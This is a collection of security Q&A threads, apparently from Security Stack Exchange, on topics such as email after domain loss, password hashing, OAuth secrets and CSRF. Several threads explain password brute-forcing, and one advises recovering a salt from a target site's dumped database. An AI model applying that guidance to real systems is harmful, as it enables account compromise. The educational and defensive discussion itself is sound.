Can someone read my E-Mail if I lose ownership of my domain? Let's assume I have a server set up with an email address like me@mydomain.tld. Now I have distributed my business card with the e-mail address to all people all over the world and they keep sending me confidential emails. But now I don't feel like paying for the domain mydomain.tld anymore.

Now if someone buys the domain and creates a mx record pointing to the his own mail server he can read all my confidential emails the people are sending me right?

No, I can't tell them to stop sending confidential mails because I can't contact them.

Are there ways to prevent that or is the only option I have is to pay for the domain until I die?

Now if someone buys the domain and creates a mx record pointing to the his own mail server he can read all my confidential emails the people are sending me right?

If they register the domain name, they will receive all email being sent to it from that point on. They will not have retroactive access to previously sent emails. There is nothing to fundamentally prevent this.

  Are there ways to prevent that or is the only option I have is to pay for the domain until I die?

You can request that all contacts to you encrypt their communications with PGP using your public key, which will prevent anyone who obtains the domain later from reading new messages, but it requires people actually use PGP, which may not be likely if you are distributing the address to average people in a business card. However, if you maintain or at least renew the domain for, say, 20 years, then what are the chances that anyone is going to seriously send an email to such an ancient address?

I asked the question on the Law Stack Exchange whether or not there would be any legal recourse to someone using your domain, and the answer was no: https://law.stackexchange.com/q/35917/15724


Can I read/write canary values from %gs register? I would like to know if it is possible to read (or write) the canary values from %gs register.

If "yes", how; and if "no", why?

Also, I have been reading somewhere that the canary values are stored in some sort of TLS (I suppose it to be the "Thread Local Storage").

Can someone please shed some light on it?

Threads share the same address space and code. However, for a variable in thread-local storage, each thread must have its own value; so the variable cannot be simply stored at a fixed address. There must be some indirection.

On 32-bit x86 CPU, with Linux, thread-local variables are accessed through the %gs segment register, which was hitherto unused by application code. Segments are a remnant of older times; Linux has always defined all segments to start at address 0 and extend over four gigabytes, allowing code to forget them completely. However, they are still there, and one of them (%gs) was revived to support thread-local storage. Indeed, all threads share the same memory, but each thread has its own set of register values.

The canary is a slot on the stack. Its purpose is to be overwritten when an overflow occurs, and the overflow is likely to impact the return address: the value which is written in the slot must be read back unchanged at the end of the function. That specific value is randomly chosen at the start of each thread, and each thread has its own; this means thread-local storage, so the canary value for a thread can be read by that thread at some fixed place relatively to %gs, as known by that thread.


Is it worth using ModSecurity on a single entry point websocket connection? I'm trying to evaluate benefits of using ModSecurity in our system. From that what I read till now, I have feeling it is not very useful for us.
In our web app, there is single entry point, which is encrypted websocket connection. That design might make all content based rules bit useless.

With that setup, is it worth to have ModSecurity as precaution?

As of 2017, ModSecurity does not support and does not plan to support WebSockets, as stated by Spiderlabs development team:

  Currently ModSecurity is not capable to inspect WebSockets. It is only capable to understand the http requests.

So, not only it will not be helpful, but it may even have unexpected side effects making your application unreliable.


MySQL database access prevention I am doing a PHP website for a client who deals with third party financial information, and he is concerned about the developmers (me) having access to all the information, which is obviously a valid concern.

I am currently hosting on a shared hosting environment, however, I am going to recommend a dedicated server for this site.

I can build in all kinds of logging in the source code of the site, and have the code audited before the site launches, so that should prevent back-doors in the code to leak information. I am, however, concerned on how to prevent access to phpMyadmin or other administrative tools to access the database directly.

Where would I start in getting this concern out of the way? Any advice will be appreciated.

Thanks in advance!

There's a number of controls that you could put in place here to give the customer some comfort about the security of their data.  Some of this could well be overkill depending on the customer but ideas nonetheless

Ensure that all the system passwords (e.g. OS accounts, MySQL) are set by the customer for the production system
Assuming that this system will be at a hosting provider as opposed to being on the client site, you could look at setting up Firewall rules at the OS level and .htaccess files at the web server level to restrict where connections can be made from for administrative tools (e.g. SSH, phpmyadmin). This would require the customer to have a fixed IP address that could be used for this purpose.
Documented Change process.  One risk here would be that a code update adds something nasty, so if they want ongoing assurance you'd need to have a defined deployment process where each release is put into production by the customer (assuming that only they have access)
Logging and Monitoring.  At an OS level you could log all activity more info

All this of course depends on the idea that the customer has the knowledge and resources to manage the service.  If they don't and you still have admin access then really it's a trust situation as if you have root access to the box or the database you can take copies of the data.


This company is telling me that I need a firewall. Do I? Do I need to buy a firewall? The website networksecure247.com is trying to sell me one. They call and say that "alerts" keep coming up on my network. I have a 2013 Dell computer, and the firewall from Microsoft expired on August 16. This company, Network Secure, is telling me that I need a firewall. Do I?

You needn't buy anything from someone who calls you unsolicited and tells you need to buy something from them.  In fact, you're generally better off not buying things from people who call you unsolicited.  In fact, you're generally better off not even listening to people who call you unsolicited to sell you things, and just hang up on them instead.  Particularly when they lie to you about things like "alerts keep coming up on your network" which is patently absurd.

The Microsoft firewall does not expire. Not on 8/16/16, or on any other date. It is a component of Windows and is good for all eternity, or as long as your computer lasts, whichever comes first.  There is no need to buy an additional host-based (runs on your computer, in other words) firewall.


password prompt security feature Got this when requested to enter my password. How is something like this enhancing security ? Is it each time taking random set of  index locations and compare it's hash against a database?

It is a kind of challenge-response protocol, which means that if an eavesdropper manages to read the communication, they'll only have part of the password.
In the same way, it offers a little protection against shoulder surfing.

Whether this really enhances security is open for debate. Eavesdropping should be prevented by proper use of TLS.

One drawback is that the server must know at least part of the plaintext password. Or hashes of several parts of the passowrd, which effectively splits a long password in several smaller ones that are easier to brute-force.

Also, as @Matthew points out in their comment, this might give away the length of the password to an attacker, if the password interface is poorly implemented.

I'm generally in favor of challenge-response protocols for authentication and identification, but this seems a poor implementation of one.


Isn't using pbkdf2 + scrypt + bcrypt best? Since slower is better and key stretching is an awesome way to increase security over potentially low entropy passwords, doesn't it make sense to use all three?

To be clear, this is about implementing a key stretching architecture for your software.  I see a lot of disputes about which is best, but it seems to me - just use all three.

PBKDF2, scrypt and bcrypt are all configurable; they can be made as slow as you want. The limiting point is not the computer, but the user's patience.

For example, suppose that the user will go irate if the password processing (e.g. to unlock an archive file) takes more than 6 seconds. If you use bcrypt only, then you can tune it up so that it takes 6 seconds on your machine. But if you use PBKDF2 and scrypt and bcrypt in succession, then they will have to fit together in the 6-second budget, meaning that, in practice, you'll configure them with lower iteration counts, e.g. 2 seconds each. From that point of view, using three algorithms in succession is no better than one; what matter is the total time.

The point of this configurable slowness is that it makes things harder for the attacker; you want to choose an algorithm that makes each password guess as expensive as possible for the attacker. The attacker does not have necessarily the same hardware as you (e.g. he will likely try to use a GPU), so each algorithm may be more or less "good". The attacker can always buy a PC such as yours, and thus do in 6 seconds what you do in 6 seconds; however, the attacker may sometimes buy a more specialized hardware which will be better than yours for that specific task. This is especially the case with PBKDF2 and GPU. As a defender, you want to avoid such a situation. Thus, some algorithms are better than others, and, in the PBKDF2 / bcrypt / scrypt triad, one may assume that one algorithm is "stronger" in the sense explained above.

Therefore, using just that algorithm, alone and with its configuration adjusted so that it takes as much time as you can tolerate, will be optimal. By definition, using all three algorithms in succession cannot be as strong as that unique algorithm alone. In practice, this means that you should use bcrypt: the budget you spend on PBKDF2 is squandered security, since, for the same CPU usage on your machine, bcrypt would have provided more resistance (see this for some details about bcrypt vs scrypt, and that for even more details on password hashing in general).


P3P HTTP Headers and Session ID's Is there any chance that Session ID's can be shared between different websites (one in other IFRAME of others) through P3P Headers?

In Internet Explorer a P3P header allows 3rd party cookies within iframes. It works out of the box in all other common browsers as far as I know.  However, be warned that simply copying this P3P header onto your site without understanding the legal ramifications may expose you to liability.

You cannot share one cookie between websites on different domains. But you can include url parameter in iframe to forward user information from the parent to the child sites. Of course those informations need to be signed, to prevent the user from tampering with it.

If you are asking because of Single Sign On, you may want to look at CAS or openid. CAS is useful when the accounts are managed at one central place, openid easily allows for federally distributed account management. Unlike CAS, openid does not support a signle sign out.


Can information somehow be secured from the host on a KVM guest? With KVM guest systems so prevalent now, I was wondering if there is any merit in using LUKS encrypted storage, as the guest will usually be always on, so the information is always accessible unencrypted to the guest, and thus to the host.

Are there other ways to make information harder to access from the host? Is the only way to securely store information on a KVM guest to never use it on that system, i.e. to store encrypted information only?

A guest's memory is still memory, and the host sets it up by allocating it. This means the host has full access to the KVM guest's memory. You would need hardware support to secure a KVM guest from a privileged user on the host. In particular, you would need to utilize Intel SGX to create a secure trusted environment. The newer memory encryption techniques like AMD SEV or Intel's upcoming MKTME can protect against cold boot attacks or logic analyzers on the memory bus, but not a compromised host.

I do not know if KVM or its frontends (e.g. QEMU) support running guests in an SGX enclave, but I think they do not. It is very difficult to run a full guest in an enclave due to the severe limitations placed on any code executing in SGX context. Most importantly, code in the enclave cannot run as ring 0. In order to make use of this trusted execution feature, it would likely be necessary to modify both the host and guest kernels so that sensitive computation can be offloaded from the kernel into an SGX enclave.


Open Source tool to block email attachments Is there any way to stop users from sending attachments over Gmail or any web based email including private mail servers, if internet access is through a Linux box running Ip Tables/Squid etc. We are looking for a free/open source tool. Can this be achieved through Squid or IPTables/Shorewall?

Not really, no.

Firstly, when the traffic in question is passing through your proxy server, it's just web traffic - it's not an email yet. So to just block attachments, your proxy would have to read the traffic in great detail, and understand how to tell when every sort of web mail is moving an attachment.

That would be difficult but possible, although it would be hard to be sure you were catching everything: but you also have to consider that Gmail and many other web email providers support https, which means the traffic might be encrypted as it goes through the proxy, and so you have no way of reading it.


Import certificate into Windows key store I am using nShield HSM for signing with MS application/pdf and my own .Net Application. My steps for your information:

Create PKCS11 key pairs
Create a MSCAPI container
Import PKCS11 key into the container

After this, the MS application/pdf or .Net application still can't find the certificate with a link to corresponding private key (in the container)

You don't give much detail so it's hard to answer but I'd take a few of guesses here:

You're creating a new store and placing your key there but aren't actually telling your applications to use this store. Remember: by default, application will only look for private keys on the MY (a.k.a. personal) store.
You're storing the certificates in a different security context as the application. If you use the current user store, for instance, service applications will not be able to see or use them.
The user contact from which your application runs does not have access to the private key. This is typical of certificates stores in the computer (SYSTEM) user context and accessed through regular users. You need to setup the ACL on the private key for that to work.
You haven't installed the crypto provider drivers in all relevant systems: the certificates can then still be visible but access to the private key will fail.


How are website passwords cracked? What approaches are there for cracking user passwords for website/e-mail accounts? can only think of three strategies, but what else?

Algorithmically: Combinatorially attempting different sequences of alpha-numeric-special characters
Internally: Client database information is leaked, but actually, companies rarely store passwords for any to be leaked
Heuristically: Phishing information from the victim beforehand to somehow infer their password, or confidence trick them to enter it on a dummy website
Virally: Using a key-logger or other backdoor method that captures user's password as it is being entered or viewed on-screen

If you're talking about cracking passwords and not stealing them by other means, then there are only two techniques: online (query API over and over to try to get the password right) and offline (run the hashes through a hash cracking program). Both of the techniques can be subdivided into brute force, dictionary attack (customized for the target or not), and a hybrid of the two (e.g. HashCat rulesets).


Best way to encrypt ~1GB of data programatically? Let's say I have aggregated ~1GB of data in memory into a string or corresponding data structure. My goal is to encrypt this data before sending it over the wire. With my limited understanding of encryption, I was looking into asymmetric key encryption and using a public key to do this task. Upon a couple Google searches, it sounds like this will not be possible due to the byte limitation of encryption with a public key. (Is this correct?).

Alternatively, what are my options for achieving something like this? My goal is to essentially perform encryption in memory of large amounts of information without writing to disk.

PGP (Pretty Good Privacy) is the closest alternative to your proposal. This mechanism generates a strong random symmetric key for encrypting the data and cyphers that key asymmetrically.

So you have the symmetric key encrypted ONLY with the public key and then the data is ONLY encrypted with the symmetrical key.

My suggestion is: If you can reach both PC’s but in different instances of time, just cypher the block of data symmetrically (this is because you know the key and you won’t transfer it to nobody, so it’s safe). Elsewhere, PGP is a good option.


Is there a way to mimic http request of a compiled program? Lets suppose my program makes a http request and uses it response to update some values. Is it possible to somehow mimic the response in order to modify it so the program believes the server responded when in fact it was a hardcoded response? I'm not using HTTPS.

Yes, it's possible and it's trivially easy.

You can make it a bit harder by using HTTPS and a pinned certificate but that will not stop anyone with a bit of time on their hand (they will then need to modify your executable, or, at least, the container where you placed your pinned certificate) and it will make it harder to manage your server (because if you need to change your certificate, you'll need to update your clients as well).


What part of the CSR is hashed in order to create its signature? I'd like to change the CSR before it is transferred to the CA without going through the CSR creation process again. To do that I need to know how to calculate the signature of the CSR after I modified it. Unfortunately I couldn't find out exactly how many bytes of the CSR are hashed.

I created the CSR like this:

openssl req -out certrequest.csr -new -newkey rsa:2048 -nodes -keyout private.key

After

sed -e '1d' -e '$d' certrequest.csr | openssl enc -base64 -d > certrequest-stripped

the last 256 bytes (sha256WithRSAEncryption) of certrequest-stripped are signature1. Now I'd like to know how many of the first bytes of certrequest-stripped I have the hash in order to sign the hash using the private key.

In other words, I'm looking for the value of the "?" in the following command so that both signatures (signature1 and signature2) match:

head -c <?> certrequest-stripped | openssl dgst -sha256 > hash
openssl rsautl -sign -inkey private.key -keyform PEM -in hash > signature2

I know that the cut has to be somewhere behind the ASN1 field for the exponent, but since my attempt to increase the head of the CSR byte by byte failed, I'm worried I'm missing something fundamental here.

I figured out the answer to my question and post it here for reference.

Generate fresh key pair and CSR

openssl req -out csr.der -new -newkey rsa:2048 -nodes -keyout privateKey.der -outform DER

Modify csr.der to modified_csr.der

Extract the sequence (which starts at offset 4) of the CSR that's hashed for the signature

openssl asn1parse -in modified_csr.der -inform der -strparse 4 -out part_of_CSR_thats_hashed

Create new signature

openssl dgst -sha256 -sign privateKey.der -out new_signature part_of_CSR_thats_hashed

Merge modified_csr.der and new_signature to new_csr.der

head -c $(( $(stat -c '%s' modified_csr.der) - 256 )) modified_csr.der > new_csr.der
cat new_signature >> new_csr.der

Verify new CSR

openssl req -in new_csr.der -inform DER -noout -text -verify

Convert CSR to PEM

openssl req -outform PEM -inform DER -in new_csr.der -out new_csr.pem


Including a OAuth client_secret file in a Java application A client_secret.json file is used in the OAuth 2.0 authorization flow for the Google Drive API (example).

If I include client_secret.json in my Java application, access the JAR contents is extremely easy. So, should I worry? I have no way to make this file "secret".

What wrong can be done with this information? A final user has to grant access to my application in order to access his Google Drive files.

Update: It seems that two cases can be analyized.

What can be done only with client_secret.json?

This was the intention of my first question. The only thing I can think of is that if a user links his account to my app it can exhaust my Free quota for the Drive API (1,000,000,000 requests/day).

Someone access stored credentials for a user (StoredCredential file, in the example) plus client_secret.json.

I guess this is the worst case, since that "someone" can act as my app in the user account.

Update 2: Google docs can be found here: Using OAuth 2.0 for Installed Applications

  The client ID and client secret obtained from the Developers Console are embedded in the source code of your application. In this context, the client secret is obviously not treated as a secret.

You should not include the client secret in a javascript/desktop/mobile application

The reason is, like you said, it's very easy to access. You cannot protect it if you embedded it into your application. Once an attacker find your client secret, he can now impersonate your client. The client secret is only meant to be included on web servers.

Use OAuth2 Implicit Flow

OAuth2 Implicit Flow was designed specially to solve that problem. In the implicit flow, there is no client secret and once a user authenticate with OAuth2 provider, the client will receive the access token directly hence no need for a client secret.

https://tools.ietf.org/html/rfc6749#section-1.3.2

Do not use Implicit Flow for Authentication

OAuth2 was built for authorization which is not the same as authentication. If you need authentication, you will need to look at Open ID Connect which is built on top of OAuth2 to provide all the missing parts needed for secure authentication.

About security

While it's recommended to use the Implicit Flow when using a javascript/desktop/mobile client, it's mostly for convenience to reduce the number of rounds trip required. Since you cannot protect the client secret, there is no reason to include it.

The one disadvantage of removing the client secret (and the extra step linked to it) is that the client cannot know anymore if the token was issued for him since tokens are not bound to a specific client. This leads to multiple opportunity for phishing attacks like described here :

https://tools.ietf.org/html/rfc6749#section-10.16


What is a good risk assessment for different types of online file references? Personally I'm a big fan of hosting everything myself, just because of the privacy aspect. For that reason I try to use external files as least as possible. Nevertheless, I'm wondering if it is a security risk to hotlink to files other than JavaScript files.

The risk of hotlinking to an external JavaScript file seems pretty clear to me. Since that other domain will be able to execute anything in the clients browser, on your domain. So it's not about JavaScript files. I'm just talking about files like images, cascading style sheets and for example PDF, office or MP3 files.

On the other hand, what if the scenario is exactly other way around? What risks can you potentially face when people are hot-linking to your files or images? I know some anti hotlinking methods, some of them use a mod_rewrite approach, which is based on a referrer that can be easily spoofed.

So I have three questions:

Is hotlinking to external file (like described above) dangerous or can it be a potential risk to your website or website visitors?
Can you face a risk yourself when people are hotlinking to self-hosted files, other then a availability risk?
When question number 2 is a risk: What are the best practices to protect your files from being hotlinked by others?

Is hotlinking to external file (like described above) dangerous or can
  it be a potential risk to your website or website visitors?

If any of your users are unpatched and you are including content from an externally linked domain, it would be possible for the external domain to switch the content to a malicious image, Flash file or Word document.

  Can you face a risk yourself when people are hotlinking to self-hosted
  files, other then a availability risk?

Yes, mainly just an availability risk, although as they are making a cross domain request to your server, they could be exploiting any CSRF vulnerabilities or injection vulnerabilities and using their end-users to do it. This argument however is weak, as these vulnerabilities are vulnerabilities themselves and can be mitigated in isolation.

  When question number 2 is a risk: What are the best practices to
  protect your files from being hotlinked by others?

An option would be checking referer header, although this can have its own problems. Some users turn off referer to increase privacy, and some referer checks suffer from logic bugs (e.g. http://example.com/example.org may pass the referer check for example.org if not coded correctly). Another option would be to check the user has a valid session on your site. This would easily be bypassed by a site requesting a HTTP page cross domain to set the session. You might have to validate them via a CAPTCHA check before showing them site content. Not a very good user experience.

Another idea would be to randomise URLs. So image.jpg would only be shown if the query string ?validationCheck=123321 was appended to it. Your website would dyamically generate the code:

<img src="/image.jpg?validationCheck=123321" />

and the handler for the jpg file type would check that the validationCheck value is correct. This value could change every few minutes. They could implement a bot to check this, however it would be more work and they might as well copy and save the image to their own server (although it would be subject to copyright infringement). Also, this approach does not sit well with caching.


Does using incognito mode protect from browser fingerprinting techniques? As far as I understand Chrome's and Firefox's incognito modes mean nothing is persisted. Cookies, Offline Storage, IndexedDB, cache, everything is flushed when you exit.

Does this still leave a way (not based on IP-address nor behaviour analysis) for sites you visit to trace and de-anonymise you?

In general, incognito mode isn't effective against fingerprinting. Fingerprinting looks at characteristics of your browser/system like your user agent, plugin lists, and screen resolution, none of which can be stopped by refusing to save (or clearing) data from your visit to the site (which is all incognito mode does).


How can you detect an insecure, non-random token? I know that some of PHP's random functions are insecure due to them not being completely random and are considered a bad practice. My question is how an attacker go about finding that the developer used an insecure function to create a token, such as a forgotten password token or CSRF token?

You can't actually determine how random a number is, because it's the nature of randomness. However, if you had a series of values, you could perform statistical randomness tests on the values and possibly find patterns/weaknesses in the random number generator. Certain patterns may give away what random generator was used. But even supposing the numbers were random in a statistical sense, the problem that remains afterwards is security. Something that passes randomness tests may not actually be secure!

In short:

true randomness = security
statistical randomness ≠ true randomness


Are malware detection rulesets publicly discoverable? I am uncertain about how public malware detection rulesets are? By a "ruleset" I mean the rules, usually written in Yara, that malware detection engines use to determine whether a file or memory sequence is potentially malware.

I know that different detectors definitely use different rulesets, because if you use Virus Total or some similar service, you can see that for a given binary some of the vendors will flag the binary and others will not. I would expect a vendor's ruleset to be "secret sauce" that they would not release publicly.

Nevertheless, I can't see how it would be secret. For example, I have Symantec Endpoint running on my desktop, so in theory it has a file somewhere it is reading which has the ruleset in it. Therefore, getting the rules should be as simple as finding that file. Of course, there is the possibility that the ruleset on my desktop is different than the one Symantec has on its servers. So, on the desktop I might just be getting the "old" stuff that everybody knows, and all the really valuable rules are only on their servers and thus inaccessible.

So, are these rulesets considered "secret" or are they publicly available or somewhere in between?

Finding the signatures is generally easy. They are usually identified as such, and the files downloaded when updating the AV signatures obviously contain signatures.

Now, getting a binary file that somehow is used to detect, is not of much use unless you also know how it is structured (the "language" they use). Which is typically undocumented.

I recommend you to take a look to ClamAV. This is an open-source antivirus, so you have both the rules, and the code that uses it. Neatly documented.

Finally, even if you have a rule and understand it means «bytes 34 28 50 5e 29 37 43 43  29 37 7d 24 45 49 43 41 52 are malicious at position 0x10 of a file», that doesn't embed the knowledge behind treating it as such. Is it part of an infection routine? A packer? An instruction attempting to detect VMs?


Basic authentication portected page accessible without header but not from different IP I'm looking at a website uses basic authentication to authorise users.

When I look at the request, once authenticated, it appends the header Authorization: Basic cm9vdDpwYXNzd29yZA== (I'm aware that this is only base64 encoded).

Now, if I remove the Authorization header from the request, it works fine anyways. Even if I re-run the request with curl, without the Authorization header it works fine. But if I run the same curl command on a different machine I get 401 Unauthorized.

Is the basic authentication somehow paired with the IP address or something else identifying the client?

How is the authorisation accomplished in this case?

edit: I'm stumped. The described scenario is no longer reproducible.. Something fishy's going on.

I'd guess one of two things is happening here:

The server stored your IP against your account: This way you could login access the resource from your IP even without having to auth everytime. Not a bright idea.
Caching: Your computer or ISP was caching that page (if it was the ISP - badly), and serving you that resource instead of resending the request.

Unlikely case: The server had some caching issues and was serving everyone the resource by mistake. The reason it's probably not working anymore is that - the authorization on your IP expired.


How bruteforce works code wise I was wondering how bruteforce methods work from a code level.  How does the code get access to a login page for example and insert information into the necessary fields? And is the code able to duplicate the system so that 3 attempts or waiting between guesses is no longer a problem?

There are online attacks and offline attacks.

Online attacks are when the attacker tries each password by sending it to the attacked system. The attacked system might be using, for instance, an HTML login page; in that case, the attacker would first manually obtain a copy of the login page (like any other user, with a Web browser), then look at the HTML, and infer the format of data that is sent to the server. Most login pages are simply HTML Forms; when a user enters the login and password and clicks on the "log me in" button, the browser sends an HTTP request which encodes the data entered by the user. The attacker then just has to build, with some custom code, synthetic HTTP requests which use the same format.

As for how often the attacker will try... well, it depends. On one hand, the attacker has a lot of passwords to try, so he will send many requests, include a lot in parallel because the server itself can handle several incoming requests simultaneously, and will process more requests per second when used in parallel than if the client (the attacker) waited for an answer before sending his next request. Parallelism absorbs latency, in a way.

On the other hand, some sysadmins include detection systems for "suspicious activity" and receiving 100 login attempts for a given user login per second surely looks unnatural. Therefore, some attackers will try the low-profile thing, trying only one password at a time, and waiting several minutes between any two attempts. The attacker tries to stay under the radar. This can still be an efficient strategy for the attacker, if he has lots of user logins to try on lots of distinct servers.

Offline attacks are very different. In an offline attack, the attacker was lucky enough to obtain enough information to "test passwords at home". For instance, through some SQL injection attack, the attacker grabbed a copy of the hashed passwords for a thousand users of a given site. The attacker can then proceed to "try" passwords by hashing each potential password and seeing if the hashed version matches the database table that he previously purloined. All of this occurs on the attacker's PC, with no network at all, and nobody else is made aware of the cracking effort.

Offline attacks are a bigger worry than online attacks because in an offline attack, attackers are limited only by their available computing power; there is no honest server who can arbitrarily limit the rate at which passwords can be tried. With simple hashing functions, attackers can try billions of passwords per second, with off-the-shelf consumer hardware (a PC with a big, gaming-class GPU). There are mitigation measures but they are not perfect (they are relatively expensive trade-offs). It is much better to avoid offline attacks in the first place (i.e. check your SQL statements, dammit !).


How to check an open source product for password handling quality? I just created an account on Magento Commerce, which is an online shop solution.

During account creation, I entered a password. Personally I prefer longer, generated passwords that do not contain special characters, since the special characters are located in different places, depending on the locale of the keyboard and special characters do not work well across several remote desktop connections.

As I was not allowed to use a 24 character password like this, I read about the password requirements:

The policies are quite strong:

1 capital letter
1 number
1 special character
minimum 8 characters length
but then I wondered why there is a maximum length of 16 characters

Basically I know about Password length and complexity, so my question is not whether their requirements result in a higher password quality than mine.

The question is: since I consider using the product and I have the feeling that the understanding of password security by the developers of the product could be (partially) wrong, what are the first things I should check?

I'm not looking for a Magento specific answer. I'd like to know about the general approach for such a check, e.g. for any open source product.

While the password requirements may help you slightly to understand how that particular system may be handling them, it is just the tip of the iceberg. It's true: Having a maximum length for a password raises some flags that something is not good. However there may be other reasons behind that (like bad documentation?).

Even if you have the perfect policies, nothing will ensure you they are not using weak algorithms or bad practices which can lead to severe security issues. The only way (IMO) is to check the code yourself. In case you don't understand their code, it's better to stick to the most active (and with more contributors) projects. It's also a good idea to check vulnerabilities reports about the project, get to know who is behind its development, ask in their forums or mailing lists and very important, how new the code is: Some OS projects are based in really old code (which could be vulnerable to new attack techniques or use deprecated algorithms), or in the other side, very new projects could pose some risks as they haven't been tested enough.

In summary, I would be more worried about the general security policies than just about how passwords are stored.

UPDATE (about Magento)

I checked their codes, and I found for example one of their Encryption interfaces.

Passwords seem to be stored using "sha256" with a fall-back on "md5" (if that setting is on). In that case, the max length of 16 chars it may be related to the GUI or other reasons (perhaps to allow custom settings and extensions).

Magento project seems to be well coded and it has a strong community. which make me assume its security is above average . Their current password hashing implementation its not the best, but its not the worst either --see comments below--, so don't trust it 100%. There is no perfect system and all OS projects are vulnerable (as attackers can see its code), but as you may know, close sourced projects are neither exempt of vulnerabilities.

I would recommend you to ask them directly why the 16-chars limitation. I'm sure they can give you a more detailed explanation.


Reverse engineering of a global hash salt from known plaintext and hash First of all i'm not asking what is a hash, or something else. I will try to explain what i'm searching clearly:

Let's say I have a dump of a database, all the passwords of this database are hashed, the passwords are 40 bytes long, so the used algorithm is based on sha-1. However, I also know that there is a salt (sha1($pass.$salt)) or sha1($salt.$pass). I'm able to register on the targeted website with a username and a password of my choice. Once it's done, I'm able to see what is my hashed password, and its plain text value (for example, if I register on the website with the password "123") and if I then dump the database to check the hash of my password (so in my case 123) I will have its hashed value. But I don't have the salt. Based on what I have, can I guess/brute force the salt used, which is fixed in the targeted application code (I can't see it).

How good are your programming skills?

It would not be too difficult to write a program or script that loops over all possible salt strings, take your password "123"and try sha1($pass.$salt) and sha1($salt.$pass). If the hash that comes out matches the one in the database, then you've found your salt.

One possible problem is knowing exactly which hash function they used. You said

  they used algorithm based on sha-1

Do you know exactly what that is, or are you going to have to guess? It's common for a password hasher to take in the password and run sha-1 not once, but 100, or 1,000, or 10,000, or 100,000... times over before putting the hash in the database. Without knowing exactly how they have done the hashing, you will have to many many more combinations in your program, and it could take a very long time to run.


Can I use port 443 without SSL? If I am running a web server on port 80 and I also have port 443 (HTTPS) turned on but it is not enforced. I did not self-sign or sign with a proper CA (i.e., I don't use SSL for my site), does leaving port 443 turned on pose a threat to my web server? For example, could an attacker hack port 443 and come into my website at port 80?

So you're running port 443 on a web server using plain HTTP (no TLS/SSL)?

Best practise is to close any ports that are not being used.

It depends on where the web root for port 443 is configured to look on your server. If this is the same location as your normal website then this could be a risk if there are certain items that need to be secured via configuration that is missing on this second webroot's setup.

If it is configured to look elsewhere, then files could be unintentionally exposed.

It is not a security risk to your users because they will not see https:// or the padlock in the browser address bar. They would simply see http://example.com:443/ which gives the same security as port 80 would (http://example.com/).


Error detection capability of SHA-256 If we use SHA-256 checksum to detect corruptions to a file, what is its capability in terms of missed errors?

For example, reading the page about error correction and detection here, under the section of an CRC example it states:

  For a burst error of length n – 1, the probability of error detecting is 100 % .

  A burst error of length equal to n + 1 , the probability of error detecting reduces to 1 – (1/2)n-1 .

  A burst error of length greater than n – 1 , the probability of error detecting is 1 – (1/2)n .

Is there any research of the similar capabilities for SHA-256?

Is there any research of the similar capabilities for sha256?

Sort of. SHA-256 is not designed to deal with burst errors, so you cannot compare the burst error detection properties of a CRC to a hash like SHA-256. Such a comparison simply isn't possible. However, you can compare the error detection capabilities of CRC32 with a hash like SHA-256.

With an algorithm like CRC32, certain types of changes to the input are guaranteed to result in a different checksum value. Using a good polynomial (a value intrinsic to a CRC's ability to detect modifications) allows more common types of changes to be detected. With a cryptographic hash like SHA-256 (which attempts to model a random oracle) on the other hand, there is no such guarantee. Detection of changes to input is entirely probabilistic. A cryptographic hash is as likely to detect a change to a single bit as it is to detect the entire input being replaced with something entirely different.

The thing to remember is that, unlike a CRC where certain types of input are more or less likely to result in a collision (with certain types of input having a 0% chance of causing a collision), the actual probability of collisions for input to a cryptographic hash is a function of only the length of the hash.

So, what are these different types of algorithms used for? A CRC is good for efficient, fast detection of accidental changes (corruption, etc.), with single-bit changes being detected with 100% probability. A cryptographic hash is used when the input set is large enough that the birthday bound may be reached and a small hash size is likely to result in some collisions, or when an attacker might intentionally try to craft input to collide (for example when generating certificates or signing a document).


Prevent network users from creating an unauthorized outgoing VPN connection to avoid network policies Is it possible to prevent network users from creating unauthorized outgoing VPN connections to avoid network policies?

Edit- What is the best way to detect unauthorized outgoing VPN connections while they are in process or after they have occurred? I assume there are software solutions?

No.

Well, yes, but probably not the way you're thinking. You'd have to block all outbound traffic by default, and then white-list only the outside hosts (not ports, not services) which you can guarantee won't be usable to bounce traffic (generally because they are also similarly restricted).

If you wanted to block all traffic types that for which tools already exist for relaying VPN traffic, you'd have to block HTTP, HTTPS, and DNS among other things, making your internet connection almost useless.


Where can I report a program to be reviewed for security vulnerabilities and privacy issues? After looking for software to store information, I found a program that caught my attention instantly. I purchased a license but after a while, I realized that the program had a big vulnerability.

On the official page, it specified that it is possible to protect the information using encryption with a password. However, by doing tests, I discovered that all the supposedly encrypted information could be accessed without entering the password, although not in a way that every user would do.

At this point, I already feel that I have no trust for this software. If you use encryption, isn't the information supposed to be inaccessible?

So, I would like to send this program somewhere to see if it complies with, at least, the user's data protection, because I want to trust that my data is totally private when using that program. At least, know that it does not have a backdoor.

Updated:

The BUG was reported and corrected within 2 days. However, it does not give me confidence because it is using the same form and it makes me that this time it has simply made the information not visible. I do not think it is applying an encryption.

Unfortunately, there is nowhere you can send software to be independently audited for free. While you can send a bug report to the authors as already mentioned, that will not result in a comprehensive audit. Software audits are complex and take a lot of time, which means they can be quite expensive.

If the software seems like it's not written well, or you suspect that there are likely other severe bugs hiding in there, the best thing to do would simply be to look for an alternative. This is especially important if the software is obscure or rarely used and is unlikely to attract a lot of reviewers.


CORS Anywhere to bypass CSRF protection CORS Anywhere helps with accessing data from other websites that is normally forbidden by the Same origin policy of Web browsers.

  Can CORS Anywhere be used to bypass CSRF protection?

Reason to ask the question here:

Simple, for learning and also for breaking things and then applying a proper fix.

So I am testing my college's web site to make it more secure and after some time I noticed the application was preventing CSRF attacks by checking the Content-Type:application/json
header.

It doesn't check CSRF tokens. I can use other users CSRF tokens in same requests.

Attempt:

I tried changing  Content-Type:application/json to Content-Type:text/plain but it not worked. The response come as Content-Type:text/plain not allowed.

I also tried changing the POST
method into GET but it did not work either.

Also this site doesn't have crossdomain.xml
File. So flash based trick no chance.

Suggestions are highly appreciated.

Can CORS Anywhere able to bypass CSRF protections?

Nope!

Bypassing the Same Origin Policy (and other data exfiltration attacks) and CSRF attacks are both impossible using the CORS Anywhere service.

Both of the attacks you describe require the attacking page to be logged in (authenticated) as a victim user in order to be useful. (If you aren't signed in, you could just access the page normally with a web browser without any 'attacks')

As a result, cookies, which make someone logged in, need to be sent in all the attacker's requests.

In the case of a Cross-Site Request Forgery attack, this is done by the browser automatically unless otherwise requested. However, the attacking page never actually gets to see the cookies of the victim page.

